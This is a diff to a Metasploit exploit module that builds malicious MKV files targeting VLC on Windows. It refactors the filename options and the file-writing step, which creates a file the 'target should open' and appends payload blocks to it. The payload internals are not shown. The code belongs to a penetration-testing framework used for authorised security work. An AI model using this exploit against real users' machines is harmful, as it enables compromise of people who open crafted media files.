Filename options

exploit:vlc_mkv overwrite fileformat filename method
to supply options

modules/exploits/windows/fileformat/vlc_mkv.rb

@@ -101,10 +101,12 @@ class MetasploitModule < Msf::Exploit::Remote
       'DisclosureDate' => 'May 24 2018',
       'DefaultTarget'  => 1))
 
-    register_options([
-                       OptString.new('FILENAME', [true, 'The file name.', 'msf.mkv']),
-                       OptString.new('AUX_FILENAME', [true, 'The auxiliary file name.', 'auxi.mkv'])
-                     ])
+    register_options [
+      OptString.new('MKV_ONE', [false, 'mkv that should be opened', '']),
+      OptString.new('MKV_TWO', [false, 'The auxiliary file name.', ''])
+    ]
+
+    deregister_options('FILENAME')
   end
 
   def to_bytes(num, length, endianess = 'big')
@@ -274,22 +276,31 @@ class MetasploitModule < Msf::Exploit::Remote
     mkv1, simple_block, count = generate_mkv
     mkv2 = mkv1[0, 0x4f] + "\x15\x49\xa9\x66" + data_size(10)
 
-    print_status("Creating '#{datastore['FILENAME']}'. This is the file your victim should open.")
-    file_create(mkv1)
+    tmpname = rand_text_alpha_lower(3..8)
+    f1 = datastore['MKV_ONE'].empty? ? "#{tmpname}-part1.mkv" : datastore['MKV_ONE']
+    f1 << '.mkv' unless f1.downcase.end_with?('.mkv')
 
-    # Finish writing the payload simple_blocks
-    print_status("Writing payload blocks")
-    path = File.join(Msf::Config.local_directory, datastore['FILENAME'])
+    f2 = datastore['MKV_TWO'].empty? ? "#{tmpname}-part2.mkv" : datastore['MKV_TWO']
+    f2 << '.mkv' unless f2.downcase.end_with?('.mkv')
+
+    file_format_filename(f1)
+    file_create(mkv1)
+    print_status("Created #{f1}. Target should open this file")
+
+    file_format_filename(f2)
+    file_create(mkv2)
+    print_status("Created #{f2}. Put this file in the same directory as #{f1}")
+
+    print_status("Appending blocks to #{f1}")
+    path = File.join(Msf::Config.local_directory, f1)
     full_path = ::File.expand_path(path)
     File.open(full_path, 'ab') do |fd|
       count.times { fd.write(simple_block) }
     end
-    print_good("Payload successfully written")
+    print_good("Succesfuly appended blocks to #{f1}")
+  end
 
-    original_fname = datastore['FILENAME']
-    datastore['FILENAME'] = datastore['AUX_FILENAME']
-    print_status("Creating '#{datastore['AUX_FILENAME']}'. Put this file in the same directory as the main mkv file")
-    file_create(mkv2)
-    datastore['FILENAME'] = original_fname
+  def file_format_filename(name = '')
+    name.empty? ? @fname : @fname = name
   end
 end